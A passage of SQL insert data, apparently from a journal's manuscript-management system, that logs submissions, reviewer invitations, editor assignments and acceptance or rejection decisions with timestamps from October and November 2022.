form',13115,'Author',13313),(122067,'2022-10-06 15:03:47','Publisher has been Assigned Editor',13095,'Publisher',48),(122068,'2022-10-06 15:03:58','Publisher has been Assigned Editor',13101,'Publisher',673),(122069,'2022-10-06 15:04:32','Publisher has Invited Reviewer',13101,'Publisher',673),(122070,'2022-10-06 15:04:37','Publisher has Invited Reviewer',13101,'Publisher',673),(122071,'2022-10-06 15:04:42','Publisher has Invited Reviewer',13101,'Publisher',673),(122072,'2022-10-06 15:04:46','Publisher has Invited Reviewer',13101,'Publisher',673),(122073,'2022-10-06 15:04:51','Publisher has Invited Reviewer',13101,'Publisher',673),(122074,'2022-10-06 15:04:56','Publisher has Invited Reviewer',13101,'Publisher',673),(122075,'2022-10-06 15:05:01','Publisher has Invited Reviewer',13101,'Publisher',673),(122076,'2022-10-06 15:05:06','Publisher has Invited Reviewer',13101,'Publisher',673),(122077,'2022-10-06 15:05:11','Publisher has Invited Reviewer',13101,'Publisher',673),(122078,'2022-10-06 15:05:16','Publisher has Invited Reviewer',13101,'Publisher',673),(122079,'2022-10-06 15:05:20','Publisher has Invited Reviewer',13101,'Publisher',673),(122080,'2022-10-06 15:05:25','Publisher has Invited Reviewer',13101,'Publisher',673),(122081,'2022-10-06 15:05:30','Publisher has Invited Reviewer',13101,'Publisher',673),(122082,'2022-10-06 15:05:35','Publisher has Invited Reviewer',13101,'Publisher',673),(122083,'2022-10-06 15:05:39','Publisher has Invited Reviewer',13101,'Publisher',673),(122084,'2022-10-06 15:05:44','Publisher has Invited Reviewer',13101,'Publisher',673),(122085,'2022-10-06 15:05:49','Publisher has Invited Reviewer',13101,'Publisher',673),(122086,'2022-10-06 15:05:54','Publisher has Invited Reviewer',13101,'Publisher',673),(122087,'2022-10-06 15:05:59','Publisher has Invited Reviewer',13101,'Publisher',673),(122088,'2022-10-06 15:06:04','Publisher has Invited Reviewer',13101,'Publisher',673),(122089,'2022-10-06 15:06:09','Publisher has Invited Reviewer',13101,'Publisher',673),(122090,'2022-10-06 15:06:14','Publisher has Invited Reviewer',13101,'Publisher',673),(122091,'2022-10-07 00:26:25','Editor has Accepted to review Manuscript',13108,'Editor',1068),(122092,'2022-10-07 00:31:10','Editor has Invited Reviewer',13108,'Editor',1068),(122093,'2022-10-07 00:31:11','Editor has Invited Reviewer',13108,'Editor',1068),(122094,'2022-10-07 00:31:12','Editor has Invited Reviewer',13108,'Editor',1068),(122095,'2022-10-07 09:12:51','Publisher has Invited Reviewer',13083,'Publisher',248),(122096,'2022-10-07 09:12:55','Publisher has Invited Reviewer',13083,'Publisher',248),(122097,'2022-10-07 09:13:00','Publisher has Invited Reviewer',13083,'Publisher',248),(122098,'2022-10-07 09:13:05','Publisher has Invited Reviewer',13083,'Publisher',248),(122099,'2022-10-07 09:13:09','Publisher has Invited Reviewer',13083,'Publisher',248),(122100,'2022-10-07 09:13:14','Publisher has Invited Reviewer',13083,'Publisher',248),(122101,'2022-10-07 09:13:19','Publisher has Invited Reviewer',13083,'Publisher',248),(122102,'2022-10-07 09:13:23','Publisher has Invited Reviewer',13083,'Publisher',248),(122103,'2022-10-07 09:13:28','Publisher has Invited Reviewer',13083,'Publisher',248),(122104,'2022-10-07 09:13:33','Publisher has Invited Reviewer',13083,'Publisher',248),(122105,'2022-10-07 09:13:38','Publisher has Invited Reviewer',13083,'Publisher',248),(122106,'2022-10-07 09:13:42','Publisher has Invited Reviewer',13083,'Publisher',248),(122107,'2022-10-07 09:13:47','Publisher has Invited Reviewer',13083,'Publisher',248),(122108,'2022-10-07 09:13:52','Publisher has Invited Reviewer',13083,'Publisher',248),(122109,'2022-10-07 09:13:56','Publisher has Invited Reviewer',13083,'Publisher',248),(122110,'2022-10-07 09:14:01','Publisher has Invited Reviewer',13083,'Publisher',248),(122111,'2022-10-07 09:14:06','Publisher has Invited Reviewer',13083,'Publisher',248),(122112,'2022-10-07 09:14:11','Publisher has Invited Reviewer',13083,'Publisher',248),(122113,'2022-10-07 09:14:15','Publisher has Invited Reviewer',13083,'Publisher',248),(122114,'2022-10-07 09:14:20','Publisher has Invited Reviewer',13083,'Publisher',248),(122115,'2022-10-07 09:14:25','Publisher has Invited Reviewer',13083,'Publisher',248),(122116,'2022-10-07 09:14:29','Publisher has Invited Reviewer',13083,'Publisher',248),(122117,'2022-10-07 09:14:34','Publisher has Invited Reviewer',13083,'Publisher',248),(122118,'2022-10-07 10:31:43','Manuscript Submitted by Publisher',13116,'Publisher',48),(122119,'2022-10-07 10:32:13','Publisher has Invited Reviewer',13095,'Publisher',48),(122120,'2022-10-07 10:32:18','Publisher has Invited Reviewer',13095,'Publisher',48),(122121,'2022-10-07 10:32:23','Publisher has Invited Reviewer',13095,'Publisher',48),(122122,'2022-10-07 10:32:27','Publisher has Invited Reviewer',13095,'Publisher',48),(122123,'2022-10-07 10:32:32','Publisher has Invited Reviewer',13095,'Publisher',48),(122124,'2022-10-07 13:36:04','Publisher has Invited Reviewer',13013,'Publisher',673),(122125,'2022-10-07 13:36:09','Publisher has Invited Reviewer',13013,'Publisher',673),(122126,'2022-10-07 13:36:14','Publisher has Invited Reviewer',13013,'Publisher',673),(122127,'2022-10-07 13:36:18','Publisher has Invited Reviewer',13013,'Publisher',673),(122128,'2022-10-07 13:36:23','Publisher has Invited Reviewer',13013,'Publisher',673),(122129,'2022-10-07 13:36:28','Publisher has Invited Reviewer',13013,'Publisher',673),(122130,'2022-10-07 13:36:32','Publisher has Invited Reviewer',13013,'Publisher',673),(122131,'2022-10-07 13:36:37','Publisher has Invited Reviewer',13013,'Publisher',673),(122132,'2022-10-07 13:36:42','Publisher has Invited Reviewer',13013,'Publisher',673),(122133,'2022-10-07 13:36:46','Publisher has Invited Reviewer',13013,'Publisher',673),(122134,'2022-10-07 13:36:51','Publisher has Invited Reviewer',13013,'Publisher',673),(122135,'2022-10-07 13:36:56','Publisher has Invited Reviewer',13013,'Publisher',673),(122136,'2022-10-07 13:37:00','Publisher has Invited Reviewer',13013,'Publisher',673),(122137,'2022-10-07 13:37:05','Publisher has Invited Reviewer',13013,'Publisher',673),(122138,'2022-10-07 13:37:10','Publisher has Invited Reviewer',13013,'Publisher',673),(122139,'2022-10-07 13:37:14','Publisher has Invited Reviewer',13013,'Publisher',673),(122140,'2022-10-07 13:37:19','Publisher has Invited Reviewer',13013,'Publisher',673),(122141,'2022-10-07 13:37:24','Publisher has Invited Reviewer',13013,'Publisher',673),(122142,'2022-10-07 13:37:28','Publisher has Invited Reviewer',13013,'Publisher',673),(122143,'2022-10-07 13:37:33','Publisher has Invited Reviewer',13013,'Publisher',673),(122144,'2022-10-07 13:37:38','Publisher has Invited Reviewer',13013,'Publisher',673),(122145,'2022-10-07 13:37:43','Publisher has Invited Reviewer',13013,'Publisher',673),(122146,'2022-10-07 13:37:48','Publisher has Invited Reviewer',13013,'Publisher',673),(122147,'2022-10-07 13:37:52','Publisher has Invited Reviewer',13013,'Publisher',673),(122148,'2022-10-07 13:37:57','Publisher has Invited Reviewer',13013,'Publisher',673),(122149,'2022-10-07 13:38:02','Publisher has Invited Reviewer',13013,'Publisher',673),(122150,'2022-10-08 13:56:55','Author sent Email',12910,'Author',13116),(122151,'2022-10-10 09:17:41','Publisher has been Assigned Editor',13114,'Publisher',1009),(122152,'2022-10-10 09:18:05','Publisher has been Assigned Editor',13113,'Publisher',319),(122153,'2022-10-10 09:18:19','Publisher has been Assigned Editor',13112,'Publisher',319),(122154,'2022-10-10 09:18:33','Publisher has been Assigned Editor',13111,'Publisher',319),(122155,'2022-10-10 10:29:22','Publisher has been Assigned Editor',13116,'Publisher',48),(122156,'2022-10-10 10:50:28','Publisher has Invited Reviewer',13116,'Publisher',48),(122157,'2022-10-10 10:50:33','Publisher has Invited Reviewer',13116,'Publisher',48),(122158,'2022-10-10 10:50:38','Publisher has Invited Reviewer',13116,'Publisher',48),(122159,'2022-10-10 10:50:42','Publisher has Invited Reviewer',13116,'Publisher',48),(122160,'2022-10-10 15:51:48','Manuscript Submitted by Publisher',13117,'Publisher',48),(122161,'2022-10-10 17:04:52','Publisher has been Accepted Articles  article',2584,'Publisher',274),(122162,'2022-10-10 17:08:42','Editor has been Editor Decision Accepted article',7472,'Editor',1594),(122163,'2022-10-11 13:12:44','Manuscript Submitted by Author',13118,'Author',12576),(122164,'2022-10-11 16:01:39','Publisher has been Rejected Articles  article',7472,'Publisher',274),(122165,'2022-10-11 16:01:56','Publisher has been Withdrawn  article',11980,'Publisher',274),(122166,'2022-10-11 16:02:41','Publisher has been Withdrawn  article',12676,'Publisher',274),(122167,'2022-10-11 17:22:44','Editor has Accepted to review Manuscript',13075,'Editor',1594),(122168,'2022-10-11 17:22:54','Editor has been Editor Decision Accepted article',13075,'Editor',1594),(122169,'2022-10-12 11:00:51','Publisher has Invited Reviewer',13108,'Publisher',319),(122170,'2022-10-12 11:00:54','Publisher has Invited Reviewer',13108,'Publisher',319),(122171,'2022-10-12 11:00:56','Publisher has Invited Reviewer',13108,'Publisher',319),(122172,'2022-10-12 11:00:59','Publisher has Invited Reviewer',13108,'Publisher',319),(122173,'2022-10-12 11:01:01','Publisher has Invited Reviewer',13108,'Publisher',319),(122174,'2022-10-12 11:01:03','Publisher has Invited Reviewer',13108,'Publisher',319),(122175,'2022-10-12 11:06:56','Reviewer has submitted comments',13108,'Reviewer',7416),(122176,'2022-10-12 13:46:36','Publisher has been Assigned Editor',13117,'Publisher',48),(122177,'2022-10-12 13:48:51','Publisher has Invited Reviewer',13021,'Publisher',988),(122178,'2022-10-12 13:49:18','Publisher has Invited Reviewer',13020,'Publisher',988),(122179,'2022-10-12 13:50:05','Publisher has Invited Reviewer',13019,'Publisher',988),(122180,'2022-10-12 16:44:41','Editor has Accepted to review Manuscript',13069,'Editor',1675),(122181,'2022-10-12 16:44:57','Editor has been Editor Decision Accepted article',13069,'Editor',1675),(122182,'2022-10-12 16:49:30','Publisher has Invited Reviewer',13069,'Publisher',85),(122183,'2022-10-12 18:15:17','Publisher has Invited Reviewer',13117,'Publisher',48),(122184,'2022-10-12 18:15:22','Publisher has Invited Reviewer',13117,'Publisher',48),(122185,'2022-10-12 18:15:26','Publisher has Invited Reviewer',13117,'Publisher',48),(122186,'2022-10-12 18:15:31','Publisher has Invited Reviewer',13117,'Publisher',48),(122187,'2022-10-12 18:15:36','Publisher has Invited Reviewer',13117,'Publisher',48),(122188,'2022-10-13 11:07:40','Manuscript Updated',13013,'Publisher',673),(122189,'2022-10-13 11:08:35','Publisher has been Accepted Articles  article',13013,'Publisher',673),(122190,'2022-10-13 12:09:02','Manuscript Submitted by Publisher',13118,'Publisher',75),(122191,'2022-10-14 00:36:39','Manuscript Submitted by Author using Submission form',13119,'Author',13318),(122192,'2022-10-14 14:50:43','Manuscript Submitted by Author using Submission form',13120,'Author',13319),(122193,'2022-10-15 11:10:31','Manuscript Updated',13101,'Publisher',673),(122194,'2022-10-15 11:11:00','Publisher has been Accepted Articles  article',13101,'Publisher',673),(122195,'2022-10-15 11:16:04','Publisher has been Assigned Editor',13119,'Publisher',48),(122196,'2022-10-16 07:40:38','Manuscript Submitted by Author using Submission form',13121,'Author',13320),(122197,'2022-10-17 11:24:34','Reviewer has submitted comments',12958,'Reviewer',21504),(122198,'2022-10-17 11:27:27','Editor has Accepted to review Manuscript',12958,'Editor',193),(122199,'2022-10-17 11:27:38','Editor has been Editor Decision Accepted article',12958,'Editor',193),(122200,'2022-10-17 11:30:18','Publisher has been Accepted Articles  article',12958,'Publisher',48),(122201,'2022-10-17 12:10:41','Editor has been Editor Decision Accepted article',13082,'Editor',1780),(122202,'2022-10-17 13:55:41','Reviewer has submitted comments',12964,'Reviewer',14534),(122203,'2022-10-17 13:56:24','Editor has Accepted to review Manuscript',12964,'Editor',194),(122204,'2022-10-17 13:56:34','Editor has been Editor Decision Accepted article',12964,'Editor',194),(122205,'2022-10-17 13:57:18','Publisher has been Accepted Articles  article',12964,'Publisher',48),(122206,'2022-10-17 15:29:46','Reviewer has submitted comments',13040,'Reviewer',11689),(122207,'2022-10-17 15:30:35','Editor has Accepted to review Manuscript',13040,'Editor',193),(122208,'2022-10-17 15:30:47','Editor has been Editor Decision Accepted article',13040,'Editor',193),(122209,'2022-10-17 15:31:28','Publisher: Accept Notification has been sent to Author',13040,'Publisher',48),(122210,'2022-10-17 15:31:57','Publisher has been Accepted Articles  article',13040,'Publisher',48),(122211,'2022-10-17 15:37:41','Publisher has Invited Reviewer',13119,'Publisher',48),(122212,'2022-10-17 15:37:46','Publisher has Invited Reviewer',13119,'Publisher',48),(122213,'2022-10-17 15:37:50','Publisher has Invited Reviewer',13119,'Publisher',48),(122214,'2022-10-17 15:37:55','Publisher has Invited Reviewer',13119,'Publisher',48),(122215,'2022-10-17 15:38:00','Publisher has Invited Reviewer',13119,'Publisher',48),(122216,'2022-10-17 17:38:08','Publisher has been Assigned Editor',13120,'Publisher',48),(122217,'2022-10-18 10:41:01','Manuscript Submitted by Publisher',13122,'',1205),(122218,'2022-10-18 10:46:15','Publisher has Invited Reviewer',13120,'Publisher',48),(122219,'2022-10-18 10:46:20','Publisher has Invited Reviewer',13120,'Publisher',48),(122220,'2022-10-18 10:46:24','Publisher has Invited Reviewer',13120,'Publisher',48),(122221,'2022-10-18 10:46:28','Publisher has Invited Reviewer',13120,'Publisher',48),(122222,'2022-10-18 10:46:33','Publisher has Invited Reviewer',13120,'Publisher',48),(122223,'2022-10-18 10:46:37','Publisher has Invited Reviewer',13120,'Publisher',48),(122224,'2022-10-18 10:46:42','Publisher has Invited Reviewer',13120,'Publisher',48),(122225,'2022-10-18 10:47:04','Publisher has been Assigned Editor',13121,'Publisher',48),(122226,'2022-10-18 11:00:48','Reviewer has submitted comments',13069,'Reviewer',21534),(122227,'2022-10-18 11:01:02','Reviewer has submitted comments',13069,'Reviewer',21534),(122228,'2022-10-18 11:04:13','Editor has been Editor Decision Accepted article',13069,'Editor',1675),(122229,'2022-10-18 13:39:58','Reviewer has submitted comments',13062,'Reviewer',11715),(122230,'2022-10-18 13:40:40','Editor has Accepted to review Manuscript',13062,'Editor',192),(122231,'2022-10-18 13:40:50','Editor has been Editor Decision Accepted article',13062,'Editor',192),(122232,'2022-10-18 13:41:37','Publisher: Accept Notification has been sent to Author',13062,'Publisher',48),(122233,'2022-10-18 13:42:39','Publisher has been Accepted Articles  article',13062,'Publisher',48),(122234,'2022-10-18 15:52:33','Manuscript Submitted by Publisher',13123,'Publisher',48),(122235,'2022-10-18 20:22:26','Editor has Declined to review Manuscript',13119,'Editor',195),(122236,'2022-10-18 20:22:30','Editor has Declined to review Manuscript',13119,'Editor',195),(122237,'2022-10-18 20:22:35','Editor has Declined to review Manuscript',13119,'Editor',195),(122238,'2022-10-18 20:22:40','Editor has Declined to review Manuscript',13119,'Editor',195),(122239,'2022-10-18 20:22:44','Editor has Declined to review Manuscript',13119,'Editor',195),(122240,'2022-10-19 04:09:24','Manuscript Submitted by Author using Submission form',13124,'Author',13323),(122241,'2022-10-19 04:33:52','Manuscript Submitted by Author using Submission form',13125,'Author',13324),(122242,'2022-10-19 09:27:56','Publisher has been Assigned Editor',12852,'Publisher',988),(122243,'2022-10-19 10:45:43','Manuscript Submitted by Publisher',13126,'',1205),(122244,'2022-10-19 11:29:16','Publisher has been Assigned Editor',13124,'Publisher',248),(122245,'2022-10-19 13:43:56','Publisher has been Assigned Editor',13126,'',1205),(122246,'2022-10-20 09:48:50','Editor has Accepted to review Manuscript',13102,'Editor',162),(122247,'2022-10-20 09:48:59','Editor has been Editor Decision Accepted article',13102,'Editor',162),(122248,'2022-10-20 10:47:14','Publisher has been Accepted Articles  article',13102,'Publisher',75),(122249,'2022-10-20 13:21:01','Publisher has been Assigned Editor',13123,'Publisher',48),(122250,'2022-10-20 13:22:50','Publisher has Invited Reviewer',13121,'Publisher',48),(122251,'2022-10-20 13:22:55','Publisher has Invited Reviewer',13121,'Publisher',48),(122252,'2022-10-20 13:23:00','Publisher has Invited Reviewer',13121,'Publisher',48),(122253,'2022-10-20 13:23:05','Publisher has Invited Reviewer',13121,'Publisher',48),(122254,'2022-10-20 13:23:10','Publisher has Invited Reviewer',13121,'Publisher',48),(122255,'2022-10-20 14:30:45','Publisher has Unassign Editor',13119,'Publisher',48),(122256,'2022-10-20 16:58:27','Publisher has Invited Reviewer',13119,'Publisher',48),(122257,'2022-10-20 16:58:32','Publisher has Invited Reviewer',13119,'Publisher',48),(122258,'2022-10-20 16:58:37','Publisher has Invited Reviewer',13119,'Publisher',48),(122259,'2022-10-20 16:58:42','Publisher has Invited Reviewer',13119,'Publisher',48),(122260,'2022-10-20 16:58:46','Publisher has Invited Reviewer',13119,'Publisher',48),(122261,'2022-10-21 09:20:10','Editor has Accepted to review Manuscript',13123,'Editor',192),(122262,'2022-10-21 09:21:08','Editor has Invited Reviewer',13123,'Editor',192),(122263,'2022-10-21 10:11:35','Publisher has Invited Reviewer',13124,'Publisher',248),(122264,'2022-10-21 10:11:39','Publisher has Invited Reviewer',13124,'Publisher',248),(122265,'2022-10-21 10:11:44','Publisher has Invited Reviewer',13124,'Publisher',248),(122266,'2022-10-21 10:11:49','Publisher has Invited Reviewer',13124,'Publisher',248),(122267,'2022-10-21 10:11:54','Publisher has Invited Reviewer',13124,'Publisher',248),(122268,'2022-10-21 10:11:58','Publisher has Invited Reviewer',13124,'Publisher',248),(122269,'2022-10-21 10:12:03','Publisher has Invited Reviewer',13124,'Publisher',248),(122270,'2022-10-21 10:12:07','Publisher has Invited Reviewer',13124,'Publisher',248),(122271,'2022-10-21 10:12:12','Publisher has Invited Reviewer',13124,'Publisher',248),(122272,'2022-10-21 10:12:17','Publisher has Invited Reviewer',13124,'Publisher',248),(122273,'2022-10-21 10:12:21','Publisher has Invited Reviewer',13124,'Publisher',248),(122274,'2022-10-21 10:12:26','Publisher has Invited Reviewer',13124,'Publisher',248),(122275,'2022-10-21 10:12:31','Publisher has Invited Reviewer',13124,'Publisher',248),(122276,'2022-10-21 10:12:35','Publisher has Invited Reviewer',13124,'Publisher',248),(122277,'2022-10-21 10:12:40','Publisher has Invited Reviewer',13124,'Publisher',248),(122278,'2022-10-21 10:12:44','Publisher has Invited Reviewer',13124,'Publisher',248),(122279,'2022-10-21 10:12:49','Publisher has Invited Reviewer',13124,'Publisher',248),(122280,'2022-10-21 10:12:53','Publisher has Invited Reviewer',13124,'Publisher',248),(122281,'2022-10-21 10:12:58','Publisher has Invited Reviewer',13124,'Publisher',248),(122282,'2022-10-21 10:13:03','Publisher has Invited Reviewer',13124,'Publisher',248),(122283,'2022-10-21 10:16:41','Publisher has Invited Reviewer',13124,'Publisher',248),(122284,'2022-10-21 10:48:01','Publisher has been Accepted Articles  article',13082,'Publisher',984),(122285,'2022-10-21 11:38:50','Publisher has been Assigned Editor',13125,'Publisher',85),(122286,'2022-10-21 11:39:55','Editor has Accepted to review Manuscript',13125,'Editor',1439),(122287,'2022-10-21 11:42:57','Publisher has been Accepted Articles  article',13125,'Publisher',85),(122288,'2022-10-21 11:43:30','Publisher has Invited Reviewer',13125,'Publisher',85),(122289,'2022-10-21 11:43:34','Publisher has Invited Reviewer',13125,'Publisher',85),(122290,'2022-10-21 11:43:39','Publisher has Invited Reviewer',13125,'Publisher',85),(122291,'2022-10-21 11:43:44','Publisher has Invited Reviewer',13125,'Publisher',85),(122292,'2022-10-21 11:43:48','Publisher has Invited Reviewer',13125,'Publisher',85),(122293,'2022-10-21 12:13:33','Manuscript Submitted by Publisher',13130,'Publisher',376),(122294,'2022-10-21 14:20:15','Manuscript Submitted by Publisher',13131,'Publisher',376),(122295,'2022-10-22 12:13:45','Manuscript Updated',13109,'Publisher',319),(122296,'2022-10-22 12:14:16','Publisher has been Accepted Articles  article',13109,'Publisher',319),(122297,'2022-10-22 12:14:18','Publisher has been Accepted Articles  article',13109,'Publisher',319),(122298,'2022-10-22 12:16:26','Manuscript Updated',13108,'Publisher',319),(122299,'2022-10-22 12:16:44','Publisher has been Accepted Articles  article',13108,'Publisher',319),(122300,'2022-10-22 12:25:18','Publisher has been Accepted Articles  article',13108,'Publisher',319),(122301,'2022-10-22 12:34:59','Editor has Accepted to review Manuscript',13067,'Editor',193),(122302,'2022-10-22 12:35:09','Editor has been Editor Decision Accepted article',13067,'Editor',193),(122303,'2022-10-25 11:08:05','Publisher has Invited Reviewer',13124,'Publisher',248),(122304,'2022-10-25 12:12:09','Publisher has been Withdrawn  article',13021,'Publisher',988),(122305,'2022-10-25 17:44:47','Manuscript Submitted by Author using Submission form',13132,'Author',13331),(122306,'2022-10-26 11:14:45','Publisher has been Accepted Articles  article',13075,'Publisher',274),(122307,'2022-10-26 11:56:19','Manuscript Submitted by Author using Submission form',13133,'Author',13332),(122308,'2022-10-26 14:26:37','Manuscript Updated',13124,'Publisher',248),(122309,'2022-10-26 15:23:44','Manuscript Submitted by Author using Submission form',13134,'Author',13334),(122310,'2022-10-26 15:29:42','Manuscript Submitted by Author using Submission form',13135,'Author',13335),(122311,'2022-10-26 15:38:03','Manuscript Submitted by Author using Submission form',13136,'Author',13336),(122312,'2022-10-26 15:42:26','Manuscript Submitted by Author using Submission form',13137,'Author',13337),(122313,'2022-10-26 15:47:05','Manuscript Submitted by Author using Submission form',13138,'Author',13338),(122314,'2022-10-26 15:56:02','Manuscript Submitted by Author using Submission form',13139,'Author',13339),(122315,'2022-10-26 16:45:46','Manuscript Submitted by Author using Submission form',13140,'Author',13340),(122316,'2022-10-26 16:48:32','Manuscript Submitted by Author using Submission form',13141,'Author',13341),(122317,'2022-10-26 17:11:31','Reviewer has submitted comments',13020,'Reviewer',21475),(122318,'2022-10-26 17:12:27','Reviewer has submitted comments',13019,'Reviewer',21475),(122319,'2022-10-26 17:13:05','Publisher : Notified Editor',13020,'Publisher',988),(122320,'2022-10-26 17:13:23','Publisher : Notified Editor',13019,'Publisher',988),(122321,'2022-10-26 17:13:46','Editor has Accepted to review Manuscript',13020,'Editor',1779),(122322,'2022-10-26 17:13:52','Editor has Accepted to review Manuscript',13019,'Editor',1779),(122323,'2022-10-26 17:14:03','Editor has been Editor Decision Accepted article',13020,'Editor',1779),(122324,'2022-10-26 17:14:14','Editor has been Editor Decision Accepted article',13019,'Editor',1779),(122325,'2022-10-26 17:15:24','Publisher: Accept Notification has been sent to Author',13020,'Publisher',988),(122326,'2022-10-26 17:15:43','Publisher: Accept Notification has been sent to Author',13019,'Publisher',988),(122327,'2022-10-26 17:16:10','Publisher has been Accepted Articles  article',13020,'Publisher',988),(122328,'2022-10-26 17:16:29','Publisher has been Accepted Articles  article',13019,'Publisher',988),(122329,'2022-10-27 01:55:35','Manuscript Submitted by Author using Submission form',13142,'Author',13343),(122330,'2022-10-27 11:49:48','Manuscript Submitted by Author using Submission form',13143,'Author',13344),(122331,'2022-10-27 11:51:18','Manuscript Submitted by Author using Submission form',13144,'Author',13345),(122332,'2022-10-27 11:52:56','Manuscript Submitted by Author using Submission form',13145,'Author',13346),(122333,'2022-10-27 13:27:45','Publisher has been Assigned Editor',13132,'Publisher',85),(122334,'2022-10-27 13:30:11','Editor has Accepted to review Manuscript',13132,'Editor',1439),(122335,'2022-10-27 13:30:25','Editor has been Editor Decision Accepted article',13132,'Editor',1439),(122336,'2022-10-27 13:31:27','Publisher has been Accepted Articles  article',13132,'Publisher',85),(122337,'2022-10-29 10:15:31','Manuscript Submitted by Author using Submission form',13146,'Author',13347),(122338,'2022-10-29 10:44:33','Manuscript Submitted by Author using Submission form',13147,'Author',13348),(122339,'2022-10-29 11:01:34','Publisher has been Assigned Editor',13137,'Publisher',248),(122340,'2022-10-29 11:01:52','Publisher has been Assigned Editor',13135,'Publisher',248),(122341,'2022-10-29 11:02:27','Publisher has been Assigned Editor',13142,'Publisher',319),(122342,'2022-10-29 11:02:43','Publisher has been Assigned Editor',13139,'Publisher',319),(122343,'2022-10-29 11:13:06','Manuscript Submitted by Author using Submission form',13148,'Author',13349),(122344,'2022-10-31 09:22:34','Publisher has been Assigned Editor',13141,'Publisher',1009),(122345,'2022-10-31 09:22:48','Publisher has been Assigned Editor',13140,'Publisher',1009),(122346,'2022-10-31 10:01:15','Editor has Accepted to review Manuscript',13117,'Editor',194),(122347,'2022-10-31 10:01:18','Publisher has been Assigned Editor',13134,'Publisher',645),(122348,'2022-10-31 10:01:25','Editor has been Editor Decision Accepted article',13117,'Editor',194),(122349,'2022-10-31 10:01:47','Publisher has Invited Reviewer',13134,'Publisher',645),(122350,'2022-10-31 10:01:52','Publisher has Invited Reviewer',13134,'Publisher',645),(122351,'2022-10-31 10:01:57','Publisher has Invited Reviewer',13134,'Publisher',645),(122352,'2022-10-31 10:02:02','Publisher has Invited Reviewer',13134,'Publisher',645),(122353,'2022-10-31 10:02:07','Publisher has Invited Reviewer',13134,'Publisher',645),(122354,'2022-10-31 10:02:12','Publisher has Invited Reviewer',13134,'Publisher',645),(122355,'2022-10-31 10:04:18','Publisher has Invited Reviewer',13134,'Publisher',645),(122356,'2022-10-31 10:04:23','Publisher has Invited Reviewer',13134,'Publisher',645),(122357,'2022-10-31 10:04:27','Publisher has Invited Reviewer',13134,'Publisher',645),(122358,'2022-10-31 10:04:32','Publisher has Invited Reviewer',13134,'Publisher',645),(122359,'2022-10-31 10:04:36','Publisher has Invited Reviewer',13134,'Publisher',645),(122360,'2022-10-31 10:04:40','Reviewer has submitted comments',13117,'Reviewer',21408),(122361,'2022-10-31 10:04:40','Publisher has Invited Reviewer',13134,'Publisher',645),(122362,'2022-10-31 10:04:45','Publisher has Invited Reviewer',13134,'Publisher',645),(122363,'2022-10-31 10:04:49','Publisher has Invited Reviewer',13134,'Publisher',645),(122364,'2022-10-31 10:05:27','Publisher has been Accepted Articles  article',13117,'Publisher',48),(122365,'2022-10-31 14:21:31','Editor has Accepted to review Manuscript',13139,'Editor',1068),(122366,'2022-10-31 14:25:42','Editor has been Revise (Notify Author) article',13139,'Editor',1068),(122367,'2022-10-31 14:26:41','Editor has Accepted to review Manuscript',13109,'Editor',1068),(122368,'2022-10-31 14:31:59','Editor has been Revise (Notify Author) article',13109,'Editor',1068),(122369,'2022-10-31 14:39:14','Editor has Accepted to review Manuscript',13121,'Editor',193),(122370,'2022-10-31 14:39:27','Editor has been Editor Decision Accepted article',13121,'Editor',193),(122371,'2022-10-31 14:44:14','Reviewer has submitted comments',13121,'Reviewer',21394),(122372,'2022-10-31 14:44:19','Reviewer has submitted comments',13121,'Reviewer',21394),(122373,'2022-10-31 14:45:12','Publisher: Accept Notification has been sent to Author',13121,'Publisher',48),(122374,'2022-10-31 14:45:27','Publisher has been Accepted Articles  article',13121,'Publisher',48),(122375,'2022-10-31 15:22:43','Publisher: Accept Notification has been sent to Author',13067,'Publisher',48),(122376,'2022-10-31 15:55:39','Editor has Accepted to review Manuscript',13142,'Editor',1068),(122377,'2022-10-31 15:59:48','Editor has been Editor Decision Rejected article',13142,'Editor',1068),(122378,'2022-10-31 16:00:46','Editor has Accepted to review Manuscript',13060,'Editor',1068),(122379,'2022-10-31 16:00:50','Editor has Accepted to review Manuscript',13060,'Editor',1068),(122380,'2022-10-31 16:00:51','Editor has Accepted to review Manuscript',13060,'Editor',1068),(122381,'2022-10-31 16:04:28','Editor has been Editor Decision Rejected article',13060,'Editor',1068),(122382,'2022-10-31 16:05:27','Editor has Accepted to review Manuscript',12906,'Editor',1068),(122383,'2022-10-31 16:09:41','Editor has been Editor Decision Rejected article',12906,'Editor',1068),(122384,'2022-10-31 17:40:46','Publisher has been Assigned Editor',13146,'Publisher',1033),(122385,'2022-10-31 17:41:12','Publisher has Invited Reviewer',13146,'Publisher',1033),(122386,'2022-10-31 17:41:17','Publisher has Invited Reviewer',13146,'Publisher',1033),(122387,'2022-11-01 01:35:15','Manuscript Submitted by Author using Submission form',13149,'Author',13350),(122388,'2022-11-01 09:11:09','Publisher has Invited Reviewer',13125,'Publisher',85),(122389,'2022-11-01 09:11:14','Publisher has Invited Reviewer',13125,'Publisher',85),(122390,'2022-11-01 09:11:18','Publisher has Invited Reviewer',13125,'Publisher',85),(122391,'2022-11-01 09:11:23','Publisher has Invited Reviewer',13125,'Publisher',85),(122392,'2022-11-01 09:12:12','Publisher has Invited Reviewer',13125,'Publisher',85),(122393,'2022-11-01 09:47:58','Publisher has been Assigned Editor',13147,'Publisher',1033),(122394,'2022-11-01 09:48:35','Publisher has Invited Reviewer',13147,'Publisher',1033),(122395,'2022-11-01 09:48:39','Publisher has Invited Reviewer',13147,'Publisher',1033),(122396,'2022-11-01 11:14:54','Manuscript Submitted by Publisher',13150,'Publisher',673),(122397,'2022-11-01 11:16:00','Manuscript Submitted by Publisher',13151,'Publisher',673),(122398,'2022-11-01 13:39:33','Publisher has been Accepted Articles  article',13109,'Publisher',319),(122399,'2022-11-01 13:39:36','Publisher has been Accepted Articles  article',13109,'Publisher',319),(122400,'2022-11-01 14:05:44','Manuscript Submitted by Publisher',13152,'Publisher',673),(122401,'2022-11-01 14:07:01','Editor has Accepted to review Manuscript',13128,'Editor',221),(122402,'2022-11-01 14:07:25','Editor has been Editor Decision Accepted article',13128,'Editor',221),(122403,'2022-11-01 14:07:38','Editor has Accepted to review Manuscript',13127,'Editor',221),(122404,'2022-11-01 14:07:49','Editor has been Editor Decision Accepted article',13127,'Editor',221),(122405,'2022-11-01 14:08:00','Manuscript Submitted by Publisher',13153,'Publisher',673),(122406,'2022-11-01 14:12:43','Publisher has Invited Reviewer',13135,'Publisher',248),(122407,'2022-11-01 14:12:48','Publisher has Invited Reviewer',13135,'Publisher',248),(122408,'2022-11-01 14:12:52','Publisher has Invited Reviewer',13135,'Publisher',248),(122409,'2022-11-01 14:12:57','Publisher has Invited Reviewer',13135,'Publisher',248),(122410,'2022-11-01 14:13:01','Publisher has 